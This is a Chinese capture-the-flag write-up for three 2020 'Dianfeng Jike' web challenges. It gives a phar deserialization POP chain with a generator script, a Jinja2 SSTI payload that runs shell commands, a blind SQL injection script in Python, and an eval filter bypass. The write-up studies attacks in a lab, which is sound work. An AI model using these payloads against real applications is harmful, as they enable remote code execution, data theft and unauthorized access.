2020“巅峰极客”

babyphp2

考点:phar反序列化、pop链、compress.zlib://phar://绕过^phar

Paper:https://paper.seebug.org/680/

题目一开始有www.zip给了源代码,下载过来审计;

大概是有三个功能:文件上传、文件读取、SQL查询(登录框)

phar反序列化

我们可以看到class.php里面有很多的类,可以想到可能存在反序列化,但是在源码里面没有unserialize的操作。不过,他有一个功能是文件上传,那么我们自然而然的想到了phar反序列化。

class.php

<?php
error_reporting(0);
session_start();
class User
{
    public $id;
    public $age=null;
    public $nickname=null;
    public $backup;
    public function login() {
        if(isset($_POST['username'])&&isset($_POST['password'])){
        $mysqli=new dbCtrl();
        $this->id=$mysqli->login();
        if($this->id){
        $_SESSION['id']=$this->id;
        $_SESSION['login']=1;
        echo "你的ID是".$_SESSION['id'];
        echo "你好!".$_SESSION['token'];
        echo "<script>window.location.href='upload.php'</script>";
        }
    }
}
    public function upload(){
        $uploader=new Upload();
        $uploader->upload();
    }
    public function read(){
        $reader=new reader();
        $reader->read($_POST['filename']);
    }
    public function __toString()
    {
        $this->nickname->backup=$this->backup;
        $user = new User();
        $user->id = $_SESSION['id'];
        $user->nickname = $_SESSION['token'];
        return serialize($user);
    }
}
class dbCtrl
{
    public $hostname="127.0.0.1";
    public $dbuser="p3rh4ps";
    public $dbpass="p3rh4ps";
    public $database="p3rh4ps";
    public $name;
    public $password;
    public $mysqli;
    public $token;
    public function __construct()
    {
        $this->name=$_POST['username'];
        $this->password=$_POST['password'];
    }
    public function login()
    {
        $this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
        if ($this->mysqli->connect_error) {
            die("连接失败,错误:" . $this->mysqli->connect_error);
        }
        $sql="select id,password from users where username=?";
        $result=$this->mysqli->prepare($sql);
        $result->bind_param('s', $this->name);
        $result->execute();
        $result->bind_result($idResult, $passwordResult);
        $result->fetch();
        $result->close();
        if ($this->token=='admin') {
            return $idResult;
        }
        if (!$idResult) {
            echo('用户不存在!');
            return false;
        }
        if (md5($this->password)!==$passwordResult) {
            echo('密码错误!');
            return false;
        }
        $_SESSION['token']=$this->name;
        return $idResult;
    }
    public function __destruct(){
        echo $this->token;
    }
}
Class Upload{
    public $flag;
    public $file;
    public $ext;
    function __construct(){
        $this->flag = 1;
        $this->black_list = ['ph', 'ht', 'sh', 'pe', 'j', '=', 'co', '\\', '"', '\''];
    }
    function check(){
        $ext = substr($_FILES['file']['name'], strpos($_FILES['file']['name'], '.'));
        $reg=implode("|",$this->black_list);
        $reg = "/" . $reg . "\x|\s|[\x01-\x20]/i";
        if(preg_match($reg, $ext)){
            $this->flag = 0;
        }
        $this->ext = $ext;
    }
 
    function __wakeup(){
        $this->flag = 1;
    }
 
    function upload(){
        $this->file = $_FILES['file'];
        $this->check();
        if($this->flag){
            if(isset($_FILES['file'])){
                if ($_FILES["file"]["error"] > 0){
                    echo "Error: " . $_FILES["file"]["error"];
                }
                else{
                    if (file_exists("upload/" . $_FILES["file"]["name"])){
                        echo $_FILES["file"]["name"] . " already exists. ";
                    }
                    else{
                        if ($_FILES["file"]["size"] > 10240){
                            echo "too big";
                        }
                        else{
                            $new_addr = $_SERVER['DOCUMENT_ROOT'] . "/upload/" . md5($_FILES['file']['name']) . $this->ext;
                            echo $new_addr;
                            move_uploaded_file($_FILES["file"]["tmp_name"], $new_addr);
                            return $new_addr;
                        }
                    }
                }
            }
        }
        else{
            die("Noooooooooooooooooooooooooooo!");
        }
    }
}
 
Class Reader{
    public $filename;
    public $result;
    public function read($filename){
        if (preg_match("/flag/i",$filename)){
            die("想多了嗷");
        }
        if (preg_match("/sh/i",$filename)){
            die("nooooooooooo!");
        }
        if (preg_match("/^php|^file|^gopher|^http|^https|^ftp|^data|^phar|^smtp|^dict|^zip/i",$filename)){
            die("Invid Schema!");
        }
        echo file_get_contents($filename);
    }
    public function __set($name,$val){
        echo file_get_contents($val);
    }
}

众所周知,要触发phar反序列化,必须有文件操作函数,常见的大概是以下这些:

img

在class.php里面,能触发的地方有两处:

  1. 第117行file_exists
  2. 第153和156行的file_get_contents

我们起先看到的是第117行的file_exists,我们在这里尝试了一番之后发现这里并不能触发phar反序列化。

原因是file_exists("upload/" . $_FILES["file"]["name"])进行了拼接,phar://是传不进去的,那么剩下的唯一能触发的地方只有第153和156行的file_get_contents了。

而实际上能触发的只有153行的file_get_contents,156行的是给你读flag的。

构造pop链

全局搜索魔术方法;

155行Reader::__set

public function __set($name,$val){
    echo file_get_contents($val);
}

31行User::__toString

public function __toString()
{
    $this->nickname->backup=$this->backup;
    $user = new User();
    $user->id = $_SESSION['id'];
    $user->nickname = $_SESSION['token'];
    return serialize($user);
}
 

81行dbCtrl::__destruct

public function __destruct(){
    echo $this->token;
}

pop链很明确:

//pop链
$pop = new dbCtrl();
$pop->token = new User();
$pop->token->nickname = new Reader();
$pop->token->backup = '/flag';
 
//构造phar文件
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($pop);
$phar->addFromString("test.jpg", "test");
$phar->stopBuffering();

运行得到一个phar.phar,改后缀(ph被waf了),上传。

在read.php里面传入compress.zlib://phar:///var/www/html/upload/xxx获得flag

babyflask

考点:常规SSTI和沙盒逃逸

题目挺友好的,没有任何过滤,随便找个payload就可以打出来;

?name={{().__class__.__bases__.__getitem__(0).__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read()}}

babyback

考点:sqli单引号逃逸、bool盲注、

进去一个登录框;

fuzz一波之后发现ban掉了单双引号,自然想到了\造成的单引号逃逸。

sqli盲注

username=\&password=||1#
//提示密码错误,正常的应该是用户名或密码错误

然后还发现ban了select,我拼命地想去绕,卡了很久,结果根本不用注表名列名,只需要得到管理员密码就行了(在robots.txt也有提示)

username=\&password=||ascii(substr(password,1,1))>1#

这里是盲注的exp:

#python3
#wh1sper
import requests
host = 'http://eci-2zebr3la2yjigbu8w27y.cloudeci1.ichunqiu.com/index.php'
def mid(bot, top):
    return (int)(0.5 * (top + bot))
def sqli():
    name = ''
    for j in range(1, 250):
        top = 126
        bot = 32
        while 1:
            #babyselect = 'database()'#--p3rh4ps
            babyselect = 'password'#--uAreRigHt
            data = {
                "username": "\\",
                "password": "||ascii(substr({},{},1))>{}#".format(babyselect, j, mid(bot, top))
            }
            r = requests.post(url=host, data=data)
            #print(r.text)
            #print(data)
            if '>密码错误<' in r.text:
                if top - 1 == bot:
                    name += chr(top)
                    print(name)
                    break
                bot = mid(bot, top)
            else:
                if top - 1 == bot:
                    name += chr(bot)
                    print(name)
                    break
                top = mid(bot, top)
if __name__ == '__main__':
    sqli()

登录,来到第二关;

是一个eval函数,

eval($command."=false");

waf很强,可以用取反直接include根目录的flag:

command=?><?=include~%D0%99%93%9E%98?>
updatedupdated2022-10-302022-10-30